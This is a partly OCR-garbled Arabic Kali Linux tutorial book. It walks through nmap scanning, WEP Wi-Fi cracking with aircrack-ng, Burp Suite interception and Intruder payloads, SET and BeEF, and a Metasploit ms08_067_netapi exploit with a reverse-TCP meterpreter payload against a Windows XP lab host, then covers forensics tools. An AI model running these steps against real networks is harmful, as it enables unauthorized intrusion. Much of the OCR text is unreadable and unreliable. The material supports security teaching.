Session Cookies: Yes Initialization
Persisient Cookies: Yes Initialization
d Category: Hooked Page (5 Items)
Page Tide: BeEF Basic Demo Initialization L
Page URI: hitp:/ 127 .0.0. 1:3000/demos/basic.htm| Initizlization
Page Referrer: hitp:!/ 127 .0.0.1:3000/ilpanel Initialization
Hosmame/F: 127 0.0 1 Initialization

: IS s de ) 20 il
el e Juadi JS 5 a5 (Details o
iaiall clileal Jog Sy s 925 iLogs ©
b Ll (Say Al 23l g &Y g0 gall Calisa (5 523 :Commands o
iaial
el e Al HTTP bl Jlu b W e 408 228 :Rider o
el e Jaise XSS asaa gl e ¢ai:XssRays o

Cusl) ks e BeEF Juni WiSay BeEF e dulu) e glaal) joaiae (S8 Ll adl
framework J 23 e 34l 48 =l demo gesod s o) oS ol el Aalal)
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Social Engineer Toolkit

e asnge Al ki N 5 ) sedie el sl yhaw 3ol & (SET) Social Engineer Toolkit
E\AY\?& G B3 52 gall Gl JLADl (e de gana e psagd) ol oy Cua (padaa (preddiig
L;QLA\A.}M?M\MMCBJ .EM‘M""ME\-\’Y‘ Yy Sﬁe‘mbe}wmj

r AU lesall (385 i alaY o Tad Ao laia ) duigll 31al Capans Gl (5 5801 juaiall

Applications|Kali Linux | Exploitation tools|Social Engineering Toolkit | se-toolkit.

Terminal

File Edit Wiew Search Terminal Help

» Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com
ect from the menu:
1) Social -Eng ring Attacks

2) Fast-Trac ration Testing
3) Thi )

99) Exit the Social -Engineer Toolkit

1R Uses agagdl Guanddl Gl LA A0 (e 4y a2 55 Al sagdl aai jlid) apkaiu

Spear-Phishing JEall Juw Je BT la JUST 3aae & gas &) LA a0 (o g Uia
s 9w Juall 138 Create Social Engineering Template LUt &3 (e 5 Attack Vector
SET e psna 280 Ly Gald 5 saa 73 gai ol W rany
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Terminal
k

File Edit WView Search Terminal Help

Join us on irc.free net in ck

» Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com
ct from the menu:

-Phishing At Vectors

99) Return back to the main menu.

sie 321 SET 138 5 Ula a5l (pme aise o Taldic) o sad oy ol Gl ZalaYl
e LiSad Lyl SET . 31_a Y1 laa) Jal e <l LAl (e sl Ba g 38 1) aladiy) Ag s
s meterpeter connections s payload Ll Metasploit framework 55 J3aiu)
e s shells

Forensics < g3¥) ga Jalail)

e Al forensics wsbal e Apiaall dlaall <l 5a¥) (e Ll e de sena Kali alaill 5 5
Hlidls 45 5lae Lalad calida 590 =li Forensics .43 yaxll ?"““M GA Gl Lgaladiin)

Ll pall 8 ) ) Jlas ) Ul s Forensics dalas o) s (31 53

e Aag byl il Ugea 31 A 5 el ddee dan ) 51 lad) 8 Laiy Jidaill
Kali plaill 8 daalell &l g3l aa) (0 amy
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Autopsy Forensic Browser

Claadl luadi 5y 535 a5 A gay dgal 5 i3 3l a5 caladl Judaill 8 s 3ada Bl 4

L5 Aa w3l a5 Jenl Ly ae clilaal) Loy Jrng Las Jnoil) alas Gaua Caaas )
5 seiall Ll e (amy Uil (i 44 sadie Gl sl (e Caaall (8

Timeline analysis

Filesystem analysis

Extracting history, cookies, and bookmarks from various browsers

Hash filtering

R/ ) ) )
A XS X SR X R X4

t Al el (I Aladl) e Lelads (Say Autopsy
Applications|Kali Linux | Forensics | Digital Forensics | Autopsy.

DOl )l e miiaiall e daa gaa )l Agal sl T (S
localhost:9999/autopsy

! Kali Linux, an Offensive Sec... 3¢ \ {iB» Autopsy Forensic Browser b4 | & |
@ ‘7 localhost P v@ 1335 Q| ¢

Most Visitedv [l Offensive Security “ Kali Linux " Kali Docs EBExploit-DB Wy Aircrack-ng

WARNING: Your browser currently has Java Script enabled.

You do not need Java Script to use Autopsy and it is recommended that it be turned off for security reasons.

Autopsy Forensic Browser 2.24

http://www.sleuthkit.org/autopsy/

OPEN CASE NEw CASE HELP
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g_h}u_Newcase‘;r_.biu'a]\ﬁﬁ%éﬂhi@@&d/@y}\lﬁ\}\_)x_ﬁam
LAl JSEN 8 LS Banaa ML jeldas

CREATE A NEwW CASE

1. Case Name: The name of this investigation. It can contain only
letters, numbers, and symbols.

lkali |

2. Descrl'lption: An optional, one line description of this case.

3. Investigator Names: The optional names (with no spaces) of the
investigators for this case.

a. [_da|'k[0rd| | b. |: :|
e | | a | |
e | ) | |
9. | | h | j
L | j i |
NEW CASE CANCEL HELP

s ,Investigator Name s Description «Case Name Jie 44 5Y) Jualiill Sl
Clilae 3 ekl 5 ) gall Jal&l sl (A5 3 ) g Adlia) alla 2y Cogus 3_aY) A yall
gl e g patll 5 Caaad) dlaay Tl g ala 06 Y15 L )

U’“J“"HY\ ;)ﬂ\‘;cu@wmcm}ﬁu}muuﬂcm;ﬂ&majg\ uaf\b.a;(—;l:um
alall g 55 e bl et Views Al Jlue edsi Cogu Image Ao gl dgal Sl
i Ay 56l (3805 clile ac sy Ingest zasei .Ingest z3sai (e z AN s 523 Results
aine sl o pas g alaill & i) 4 el pUail) Jals JelS Sy JEiy) 468 o
eua.\l\ ‘53 J)AAM u.ul.mi 4.3):.40 pe Y ‘éﬁ TJ; M@.m 31al Autopsy
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The Sleuth Kit

TSK loi€a 4 1 Al Hall (pa 8l asdl Lealadi) oS ‘_‘,_.J\ LKl (e 4e sane TSK
= Autopsy .l Cargl) 2l Leaa Jand o dal (e sa0 dadde @ 50l pe daade ) S
Aagall L3l sal (amy TSK (3o e gusy dsi

Lalall (5 gina (ga e 3l icat

e Al 85 saaall e daliall el 51l blkls

Sl glaall (10 ¢ a8 2aal fostat

lale Cada 31 fls

i) V) Calide A Lgalading ¢Sy A Lgiana 53 s sall 3aiall <l 51 oany cllia
Sl 5 (Gl

alge sac 2831 VA (e apaall 8 Lgaladins) (e i) Aagall il Y (e dadia S Banla
8131 300 o0 ST (5550 Kali L oalall i) 5 3831 5 Canall ) il slaal) st

e (9585 O (S < 52Y) o2a (mnal il agdl) (K15 CLSH 13 Gania Lgazen 7 5 (S
YA e paall B

ST iy 5 g sty (S5 Ol 5 (any (phatd g S 138 e M) ol b

ENG ISMAIL MOHAMAD HAZEM KAYALI | 49



INSTANT KALI LINUX

it ma g il gl cilathias 5

Lo i) (S oLV e ) @l 5] xiti Ca g Linux O Kali pladll alasciuly ol vie

s Sy Al g )l Ll ST Jsa oo JS alati Cgas anadl) 138 3 Gl 138y

Nmap aladiuly cla glrall asans
aand s Jslad Cogus Ala yall o2 & 31 Y LA oladly 5 shad J) iy il glaall apen
5 zosally lill Acaddl) 31091 & Nmap sl 5l Caagdl Jsa il sleall (30 (e )38 ]
Wl = jas Cage 138 namp eY) i 5 console it Ll Jal e e slaall gaens
Lgamny go Jeni Uged \Nmap 8 e (S Sl VY5 il U (e 20al)
r S Y] axiius caal g [P sl
root@kali:~#nmap 192.168.56.1
il (Sl eaa ge yaY1 138 7 A

root@kali: ~

File Edit WView Search Terminal Help
~# nmap 192.168.56.1

.org ) at 2013-06-27 14:58 EDT

r-nterm

CowWN

Nmap done: 1 IP address (1 host up) scanned in 5.05 seconds
= |

rd) e 0 ASE Gaa [P (sl (e Jlae el o
root@kali:~#nmap 192.168.56.1-255

:y&\éﬁ;écdﬂ@\ﬁbdm port(‘é‘)c_&d o
root@kali:~#nmap 192.168.56.1 —p 80
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Y] aadin Al JWlS 3 b ports (e Dl gesal o
root@kali:~#namp 192.168.56.0/24 —p 1-1000
nmap 192.168.56.0/24 --exclude 192.168.1.5
nmap 192.168.56.0/24 --exclude 192.168.1.5,192.168.1.254
:&tﬂ\ )Ai)[\ (a.liiu\ A e .J._gs_u] o
nmap -F 192.168.56.1
:‘)A;\}Hem (idu g Jaadil) e\.b.:u.c&u}hu.c_um] o
nmap -A 192.168.56.1
nmap -v -A 192.168.56.1

AP Crsbie 5 305 Jlae (yarin 353 50 g laall IS 13 Lagd 4 jaal o
nmap -sA 192.168.1.254

Sy A 5 Cangll muse Jal (e il Jl s 5a3 Nmap ¢ b Jlas dsas Ja 3 o
¥ aladinly 2w

nmap -PN 192.168.1.1
e i eclind g by lilad) o e JS CulS 1) La 48 e g Jaiaall 330 31 o

;‘._.,,Jtil\
nmap --packet-trace 192.168.1.1

p A el aadial ¢ Caagdl e Jand ) ddbisd) cleasd) CLISY o
nmap —sV 192.168.56.1
M 5aY) ki « TCP SYN 5 TCP ACK pJa pladiuds Chagll zusal
nmap -PA 192.168.56.1
nmap -PS 192.168.56.1
;I e ARl TCP SYN grase adiinst Cogus ¢ (ol 5 a o geaa ) o
nmap —-sS 192.168.56.1
e TCP Jual] o padiud dosall vie Jaxd ) 4dl3) TCP iledd 48 el o

;‘;JL“J\ fiy\
nmap —sT 192.168.56.1

: 3aY) 335 UDP zease Jal (e
nmap —sU 192.168.56.1
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r S e alasiuly a cile e Jaia G Sy Bl el gl JS o
Nmap —sU 192.168.56.1 > scan.txt

Gl e (pa sl Nmap _C_uud\ E) C'_auju\ @.A;.a die :\A@_A]\ ‘)A\}‘\}“ L)AA.G}AM CuilS p2a
Lesii 5 Tadad ST Alead) Jas Jal (g 255 el sl Cusn prsall el g o
Aircrack aladialy Sl clAll g pal) clals §) 54|
ahaiuly LA SN g jall el € B8 e Jualii laki Cogas andll 138 b
GlalS HusST 4S5 63 ) 3130 Ll Wl ) 28l g Fern WIFI cracker oe Wla Whass a3l Kali
O S S A5 ) (5 o0 IS 5 ghad S a5l e Uin 35080 (520 D (S15 5 all
o Cfa acdy SLOU ASEl @ )S oS o (e Y ¢ o O Ly g pall Al (3 yias
1 2 Sy Ly palall @ Sl paliad 435 )1 google e &lld e ) dliSey il
JUSB Al 52U a8 SLuY A4Sl & S aladtia) e
TWi-Fi Do S (31 yia) ol 40ul < shadl) ag

:\:(‘.MM\ 2(\&“ \.:\\'; 1

iwconfig ¥ alasiuly (Lo ALl M Jyedly T o gas

root@kali: ~

File Edit View Search Terminal Help
0846:9030 MNetGear, Inc. WNALlGO Wireless-N 1508 [Atheros

, Inc. V

Founda
Linux Foundatio

nsions.
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SLad 403l @ S o Jla 8 wlan0 o) 81 JSE G 5 e (SLLOU @ S)
: e ardios Jeia e
root@kali:~#ifconfig wlanO up
el Ty
iz oAl Jlas 5 U eV ) e Jlaall Gana Ay 3l OSSN sal

root@kali:~#iwlist wlanO scan

G sinl) 5 A Sy ) ol (paia S e Jpnaliily 2al 5 5 3
Ul 85 A8 Hha g Al )

root@kali: ~

File Edit WView Search Terminal Help

; 11 Mb/s; 18 Mb/s

; 48 Mb/s

; Unknown :

; Unknown: 3D16060513C

il o sial) U 8 S Alualds Jain A (e Cangl) JLS] Y) plias
_Kﬁaﬁ(ﬁ;ﬂa& g; 4ALﬁQL4 e% ;jj‘uggﬁnj

.monitoring mode 5_2Y¥) kaai alc)
13 monitoring mode (yaa SLOU) L5 S slacly a 685 Co g 3 ghadll o2a &
AR s 3 ALl o] gl 8 TR L) 5a and (g o SH (St
e Sl Aal @ S s Al g el sl Jhw sl 45 airmon-ng
1Sl Yl ) sai Ciss . monitoring mode

root@kali:~#airmon-ng start wlanO
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~# airmon-ng start wlan®

Found 4 L
If a D-Ng, ¢ \ irt ps working after
C ) f of) them!

wpa_supplicant

Chipset Driver

Atheros ARS271 ath%9k - [phyC
| moni1tor 0 ¥ an |T||Z:Z|r'1|E] |

Y }i monitoring mode L;A c_\m\ é&uﬁ\ all e S Qi R d:\ e e oY)
Mia 9a 5 ek (8 g mon0 ) il Of aad g, ifconfig pasius
.monitoring

il o s Ll 4
AR e Cangll A (e A8iAl) o 3l LU fad s ala i oY)
Sl JSa) e 5aY) dapa @ls Ul e airodump-ng

airodump-ng —c (channel) -w (filename) --bssid (bssid) monO

o g AS0El S o aa D o g ¢ Lglaaalii g a5 il Jl g Y1 138 53 3 ey
aagll A e bl o Jalal fay

6 ][ Elapsed: 3 mins ][ 2013-06-30 00:33

PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E

AC:F1:DF:FG:99:FD -85 €] 188 1 €] 6 54 WEP WEP D

BSSID STATION PWR Rate Lost Frames Probe

.10.000 ik Ao J pand) cpal (3182 3aa] o ja Laiih & Kl g
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sl AS 3 i3) 5
s o 3aan ) AL ey seda Dl G g o 3ad) L) Aulee (3D i

AalS (3) Al aadiiy S gw A0 5 (crack-01.cap) *.cap s ~exll <l root
AS (31 yia) dal e GlalS G sl e aircrack-ng addiu Cagw o |5yl
(e 4l 38 (Sar s darkOde. st sa 4eladin (Say (s oy ymall (usalad | g 5l

. http://www filecrop.com/dark0de.Ist.html

T ) et G galdl) i 3 my
root@kali:~#aircrack-ng crack-01.cap —w darkOde.lIst

root@kali: ~

File Edit View Search Terminal Help

# BSSID ESSID Encryption
1 AC:Fl:DF:F@:99:FD DLink WEP (26 IVs)

Choosing first ne rk as target.

captured ivs.

Aircrack-ng 1.1

3] Tested 983041 keys (got 26 IVs)

KB depth byte(vote)

LLJ:AAM B8 «a};ﬁj\\ih‘éé e;$i~ud\(J»ijﬂ[ji)j‘yd\ZJJS EJ& L?L: Jxﬁaﬁ e y}@j
.aircrack-ng 285 J8 » jall (e (Sae a8 ) daliil)
Burp Suite aladial cugll clipdd 3 A4 LAd)
Leie da g5 sl lidat LAYl g JS axdid il g 45 yaa 3100 & Burp suite
Al e Buae S (50 Kali Adla) & e (5 a3 4y jlad das 5 dyilae dds
r S el i 310 028 Jusdi Jal (e 5 Apilaall

Applications| Kali Linux| Web Applications| Web Application Fuzzers|Burp
Suite.
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(S8 el Burp Suite il (e
_cé..ald\ BN 2\_31;3“:)!\5 <l B\ U\ CSay Lgﬂ\ PSR Proxy

/7
0’0

il (5 finn pand Jal (e (B 4
M‘ Q)l_'si .iaé; 9 ;uu;\ 0:0
a.l;:\.umj\ R_IY\AJ;‘ L.Béj Lﬁ)ﬁ# 9 Q‘JJ‘\}“ @4-03 0:0

ailda gl Goany e cﬂald LG.AAR.\&QML;\M Q\;Jiﬁ\w:\.cwocﬁ_)\%c Burp Suite
.Burp Suite e

Burp proxy

poad Mdily o g8y bialall A ad Al Gy g Slllall ases 3e) ) a 54 proxy s s
el miiatall 408l Cilalae) s Ca g 310Y1 038 ae Jeadl 12 man-in-the-middle

slocalhost e proxy o) sie Jasiai 5 méaiall ASUEN Cilalae ) 83 proxy e bl
8000 (e il o8

Connection Settings
Configure Proxies to Access the Internet
) No proxy
) Auto-detect proxy settings for this network
) Use system proxy settings

® Manual proxy configuration:

HTTP Proxy: |12?’.0.0.1 | Port: 8000 :

[ Use this proxy server for all protocols

SSL Proxy: | | Port: | 0
ETF Proxy: | | Port: | o=
SOCKS Host: | | Port: | =

() SOCKSv4 @ SOCKS v5
Mo Proxy for:

localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24

) Automatic proxy configuration URL:
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proxy Jee 4s k435 ) (Say Burp Suite e HTTP Jiail e adava o madiall ()Y
O HTTP Jusadl (sl aad (o sus dxLaliall Options Jlias s Proxy deid e Jaxas
Adaailal) OYlat™ er)]\ Ll Wl yelas History 098 Csm.ml YAl

-

Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

[ Target T Proxy T Spider T Scanner T Intruder I Repeater T Sequencer T Decoder T Comparer I Options T Alerts |

[ Intercept T History T O ptions -]

'y
2
(¥ Burp Proxy uses listenars to receive incorming HTTP requests from your browser. ¥ou will need to configure your browser to use one of the listeners as
= its proxy server.
| Acld | | Running Interface Invisible Redirect Certificate
(] 127.0.0.1:2080 O Per-host
| Edit |
Remove |
= LT
@
(5| Use these settings to contral which requests are stalled for viewing and editing in the Intercept tab.
[ Intercept requests based on the following rules:
| Acld | | Enabled Operator | Match type Relationship Condition
] File extension Does not match [~ gifs| ™ jpa$| ~pro$| ~csss| ~js#. ..
| Edit | O or Request Cortains parameters
0 or HTTF methad Does not match (get|post) L
| Remove | O And URL Is in target scope -

Burp Jac 43,k (¥ (il Liged Options 4«il (e proxy des 43y )k jusi (Say
.Spider

Burp Spider

Lllas) o5 dadia (ol f At I iiall (e fasiy | ane @ ga Aasi yo g dndia S 22 53 310
JSE o ALl Al W jeai ) pal 5 Asdiall s3a pe dliaiall Jal 5 ) gLl Canall Tasi
e Gl jlad) (K Options 4l (e Colae ) Javay W ~eud Burp Spider .3
e s clasgdll aae o calipndaill Jpaal) Josast of HTML Jsis sl SN Gaall
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Burp Intruder
sasnd zdsal elin addinall mand gl ik e sy 5 g2l (335 Clena dyduil 4 68 3l
.Target, Positions, Payloads, Options :s# 4xgs a3l & 4 s sx5 Burp Inruder

Burp Suite Free Edition v1.5

Burp Intruder Repeater Window Help

[ Target T Praxy T S pider T Scanner T Irtrucer T Repeater T Seguencer T Decader T Comparer I Optiens T Alerts |
T = |

j TargetT F ositions I Payloads I Options |

Configure the details of the target for the attack

Host:  127.0.0.1

Port: | B0

|| Use HTTPS

172.0.0.1 Jbas s jlid) Jal e gl Gukail) o lie Hlidls U e target 4aild

OF OSars Leale o gngll 28y Cogun I a8 0 JLid] Jal (e a2 Positions daild
Jie asagll Zila e JISaT 320 @llia 1388 5 jial b ol Jaall JS3 5 calla (558

.Sniper attack, battering ram attack, pitchfork attack, cluster bomb

(rania Ul 2 gal) e 4l ~Uad (gl o gagl) o lad il 205 Payloads 4aild
postions JLA) ye SQL injunction assa Gubd (S ¢ Jhal Juw Je 480 A
.injunction string < payload J JLia) 5 Jsdo Jaas JK& S

Oeoad s Y gladdl 5 Hlalaall aae S ddla) cilalac) (Gubad Jal (e 203545 Options d«ild
." .~.S‘

Oy

Gl S JS5 meais Burp Suite J dslul) pailiadll s day yu dudari CilS o3y
A 0S5 Lebae 485k dal e cul) il e dine 48 )y <l gaY)
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Metasploit Exploitation Framework

H.D. Moore 4aul s il (31 jiaY) JUEAY jacadll da gide 5 dxilaa 3131 4 Metasploit
Aal Ao g0 S Lgie A0 Axill Rapid7 Ji e BaY L) o3 5 2003 ple (S

JS O el e el 33 a5 4 aall exploits (s cliby sac ST @llai s Ruby 4l
A Lgie 2 g g ) gl s Ruby Aaul g o S8 g 5 e JST Liad a5 Adu
Aokl daus s Al

JU e el ae AllSis Lpia saai 5 Leadlad S 5 a3 58 ol e adiay Metasploit
Ll Jae JOain) o Ll aladl JUaY) e dias 23 50 (o AlalSal Algus Lelany 138 2a) 5 23 g

Metasploit <) jx

+* Framework base: Metasploit has a rich base that provides loads of
functionalists that are required during penetration testing. Some if its base
functions include logging, configuring, database storage, meterpreter
scripting, and so on.
+» Auxiliary modules: This is one of the major features of Metasploit. Auxiliary
modules are specific function modules that can perform a variety of tasks
both pre and post exploitation. Some of its chief functionalities include
scanning, information gathering, launching specific attacks, OS detection,
service detection, and so on.
¢+ Packaged tools: Metasploit comes with several handy tools that can further
enhance the penetration testing experience. These add-on packages can
create standalone payloads and encrypt the payloads using different
algorithms, database connectivity, the GUI interface, and so on.
¢ Third-party plugins: Metasploit can integrate with several third-party
plugins and use its results to build its own attack structure. Results from
various tools, such as Nmap, Nessus, and NeXpose, can be used directly within
the framework.
»* Open source: The free version of Metasploit is open source, so it can be fully
extended and modified as needed.
(AU bl (385 cudi Metasploit dseds dal (e
Applications|Kali Linux | Top 10 security tools | Metasploit Framework

3 ala Metasploit o) s il s msf> ) seda Jaadl Ca s console Jusail  seda 3 yaa
el Y1 iy

S e pase ijgﬂ; RERTAREY %Jg zliai Metasploit alasiuly 3 iaY) lid) dlee fad
dalee 33} Jal (g (AU el p2dtis o LESLE 883 g gall nLaill 48 el Nmap
msf > namp 192.168.56.1/24 gl
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:14:25 (Cadmus Computer Systems)

e: 256 IP addresses (4 hosts up) scanned in 33.11 s

Windows XP alkaill Caaginl dilisa akai 4 Cii€) Nmap o s Gilad) JS30
el aldai aadiy Cargl) of Ci5S) Nmap .192.168.56.102 o) siad) caalia
Lol Laall sl XP oUsill remote exploit 48 j=a & 431l 5 gladll « Windows XP
A 03 3e (e netapi s Al e G GV Lses ala 158 £ s
.Metasploit
msf > search netapi

Terminal

File Edit WView Search Terminal Help
. - ' resse odts up) scanned in 33.11 s

or cache not built, using slow search

manual Microsoft W

great Microsoft Serve
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1 Juxdil great — o 3 o3 g3l 5 exploit 25l ms08_067_netapi g Jids
:QQCH\JAE\~1)4365JJ\
msf > use exploit/windows/smbms08_067_netapi

sl saas LIS exploit g3 sei of Y 5 cexploit z3sai 1 console ki sy Cogw 13

Y exploit g3 sail 4y 5 wall <l el Ll ad e 0585 < gu AN 5 ghadll ()
Ag sl @l yiel Wl W eday Show options

Adlagin) 2y I host ) Jaaad Cus | RHOST 4wl pal oy Lia

msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
1S PAYLOAD _kia) (o4 4l dadll ¢z saill alac) 3 e
msf exploit(ms08 067 netapi) > set PAYLOAD windows/meterpreter/reverse_tcp

plasin ¢_\l=u...u LSJA\ B yaa 0l yial ) a8 el oY) zls cmeterpreter Jia) 2 s
el IP 58 315 LHOST IP i a5 el <l yial JUll 435 )} show options <Y)
psael

aagd) Sleall Gl AY) #3500 Ju )Y exploit oY) [ ei )Y dlae) a3 Y

- lang:English

N (Always0n NX)

o iaae ae meterpreter ol i s console ki ol aadl Cisw a sagl) i 13)
2o e A (e L oSall ket Y1 5 2l Sleal) e ~lais 2445 &3 payload
plaaiuly aacall Jlead JalS (K8 J s 50 Al ggan <l Metasploit of oS Loadd Jaadl
CulS oda Bam 8 3¢l e By jlid) a4 68 3151 Metasploit .exploit 73 s
Metasploit (e Ay Aadia

Kkali Linux adaill 53 s sa (5 AT <l sl ddaas ) Jaiinn ¢ U 4l ) Jsl
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Kali Linux aladiul: Network forensics

el Slea (e A8l Gl glae gl yiu) 5 )l 5 Jiladll e Network forensics
dalaiall la glaal) & Gl e Jaade Cuay el Foresics =) (A e Lﬁ\ }i
(i Foresics s Juad Jilat Qa5 Al G 52¥) (e dail 5 Ao gana (5930 Kali e
Adlise & gol allati il g analial) Calise (335 Jalas Liayl

Wireshark aladialy 40E) Judasd

Ul a5 Badili ) s tepdump - dglbiie 45030 @iy o s Jilss 3131 Wireshark
o gual) Jiaall JalaS ity Wireshark (Jslas JS6 e aa jedat 9 A8 OIS
A yra g djleadl dglee 5 A8 eUadl] moaaai€ CVall Calise L Lgaladin) (S il 5
e IS5 138 S5 585 3aa 5 3101 o8 Adalall &Y S 53y 0l

‘Wireshark g Jeall (e dagall 23l dll (any

Y S 35 pall dast acy
colae JSG 3 HLIY) s

J/
0 0‘0

0

J/
0‘0

» bl (335 i Kali alas A& Wireshark ae Jasd) 12

Applications|Kali Linux| Top 10 security tools| Wireshark
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DY Aa sl s Jalaill Ty 2y 55 o1 2aiall VA5 Co g da g ) Agad sl Jpend ic
dgal sl of Jaadi Cogs Jaull Start e darai 5 il JUia5 348 giall Ml pra 55 4y jlud)
olials Liad oal) ddiall (e Lglaliil) a3 dalide 2 ja edad Cogas da g )

B il @ E28Cas Q AT ¥ BEBE =2=2u0F WEE -~

. | .
Filter: | Expression...
No. Time Source Destination Protocol Length Info
44 §9,842002000 10.0.2. 1% 59.144,127.117 ' S reachab
45 70,071550000 CadmusCo 89:db:os RealteklU 12:35:02 ARP 42 Who has 10.0.2.27 Tell 10.0.2.15
45 70,071791000 RealteklU 12:35:02 CadmusCo_g89:db: o8 ARP 60 10.0.2.2 is at 52:54:00:12:35:02
47 70.077220000 10.0.2.15 59.144,127.117 DNS 64 Standard query Ox8ea8 A wpad
48 70.077395000 10.0.2.15 59.144,127.117 DNS 64 Standard query Oxcl52 AAAA wpad
49 74,522173000 59,144,144, 100 10.0.2.15 DNS 139 Standard query response 0x7321 No such
10.0.2.15 44,100 . reachab
59.144.144. 100 10.0.2.15 DNS 139 Standard query response 0x9324 No such

i | >

P Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits] on interface 0
I Ethernet II, Src: CadmusCo_89:db:06 (08:00:27:89:db:06), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
I Address Resolution Protocol (request)

oooo ff ff ff ff ff ff oe oo 27 89 db 05 08 06 00 O ........ e
0010 ©8 00 05 04 00 01 08 00 27 89 db 08 0a 00 02 of  ........ e
0020 00 00 0O 00 00 @D Da OO O202 Lol .

ek Capture panel .aldl &30 ) danie gali ) 13¢d daa sus 1) dgal 1) Gf JaaD o g
O BAl) da all (e Cilaslaa jedai Packet details panel .3_5bw o )al) Laliil)
daally packet details ¢« e sl=all Jisi Packet bytes panel .capture panel

sl ) options L8 e ) LA Bae LA Sy Asdaial) Ll Judus jelas Lol sl
Aalaly) Aullad

Rootkit-scanning forensics with chkrootkit

wmu)\)@p@g}@uﬁs! w&;@&lﬂj& ;\A;:}[em.nb}ﬁmcua\_}} Rootkit
bl e Lelad (Kay  chkrootkit =35 dala rootkit 31l Lia s Kali .crlall sl
Applications|Kali Linux | Forensics | Digital anti-forensics | chkrootkit
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.chkrootkit J=& 5 /usr/sbin ) Jbual i cterminal g 248) o

foun

3340 3131 Chkrootkit .o sude gali p (51 (e aUaill sy o 585 <o s chkrootkit & 8] 2x
AUl 8 A5l 8 gl e el ) & jaal faa

mdSdeep aladiuly clilal) Julas

s Y message digests sl hash ) ad lual aaiius jaadl da side 310l mdSdeep
Aae gl Cpra e (i 3353 sall cililall JSU signature 2 si Laadl (S lild) (g
el (s gina S 1Y) Lasd agd 4 Jilaill Alee sebod clilall MD5 signature s 23sa

b ¢ il Jaiaall Calall MDS A pe )5 eI Calall MID5 o Cas Y ol
a\ﬂMJNMFMM\UB@M\emd\A
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bl e abadi (Says laa Jew mdSdeep plasia

Applications|Kali Linux | Forensics | Forensics Hashing Tools | md5deep
Simson Garfinkel.

the full 1list of

ng
ative mat e : .
s -m and t al: int hashes of

ys which kn fi a match
wn hashes di
hash t

tpu
num thre efault 1
-h - help; -hh - full help

r S e aadii alaa 5 jle (ana 83 sa sall il sjgnatures (e deild A 5l
root@kali:~#mdSdeep —r /darklord > darklordmd5.sum
¥ aadiud ) (e Calall Al (andl
root@kali:~#mdSdeep —rx darklordmdS.sum

e dians a5l ised 35m s ate (e 3SH i) Ay a4y yLa) o3¢
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L jma g Sl g aldld]

O OSay Al S 5 (alaiL Al 0368 ¢ Kali Linux alaaiul saelue ) dalay < 1))

)
L X4

X3
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0’0 0’0
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R/
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L)

R/
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L)

R/
X4

L)

J/
0.0

Aaliag () (Sas o5 JS s e 223
Official sites
e eble (s (U R ) 0315l
Homepage: http:/ /www.kali.org
Manual and documentation: http:/ /docs.kali.org

Blog: http:/ /www.kali.org/blog/
Source code: http:/ /git.kali.org/gitweb/

Articles and tutorials
Kali ew‘ oe tﬂ.ﬁ)u 'B.J\:U'S w;\ﬁ (SR L;“\S\ YAl U

Backtrack is reborn-kali:
www.offensive-security.com/offsec/backtrack-reborn-
kali-linux/

Easily Accessing Wireless network with Kali Linux:
https://community.rapid7.com/community/infosec/blog
/2013 /05/22 /easily-assessing-wireless-network-with-
kali-linux

Kali Linux cracks passwords on an enterprise level:

http:/ /lifehacker.com /5990375 / kali-linux-cracks-
passwords-on-the-enterprise-level

Installing Vmware tools on Kali Linux:

http:/ /www.drchaos.com/installing-vmware-tools-on-
kali-linux/

Community
: = Kali Linux community ) Jsadl (Sa

Official mailing list: info@kali.org

Official forums: http:/ /forums.kali.org
Unofficial forums: http:/ /www.kalilinux.net
IRC: irc.freenode.net #kali-linux
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Blogs
lele el iy (Al Cla ol 5 28 sall an

L)

)

* Learning security tips:

http:/ /www.securitytube.net

Metasploit unleashed , a project by founder of kali:

http:/ /www.offensive-security.com/metasploit-
unleashed /Main_Page

Video tutorials on Kali:

http:/ /cyberarms.wordpress.com/2013/07 /01 /video-
training-kali-linux-assuring-security-by-penetration-
testing/

%+ Cyber Attack management with Armitage:

http:/ /www.fastandeasyhacking.com/

X3

*%

X3

*%

Twitter

aglia (Say

7
0’0

Kali Linux on Twitter: https:/ /twitter.com /kalilinux
MalwareMustDie, NPO on Twitter:
https:/ /twitter.com /malwaremustdie

X3

%
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Kali Linux alkas e 3o sall 138 (e elgiiYl (lad 43 gy o
Adaill 138 8 53 s gall ) 52N amy
Sile s mlla (e U sy

Eng Ismail Mohamad Hazem Kayali
Communication & Network Engineering
Computer Networks CCNA CCNP CCNA Security JNCIA-JUNSON

Wp5.samowel@hotmail.com
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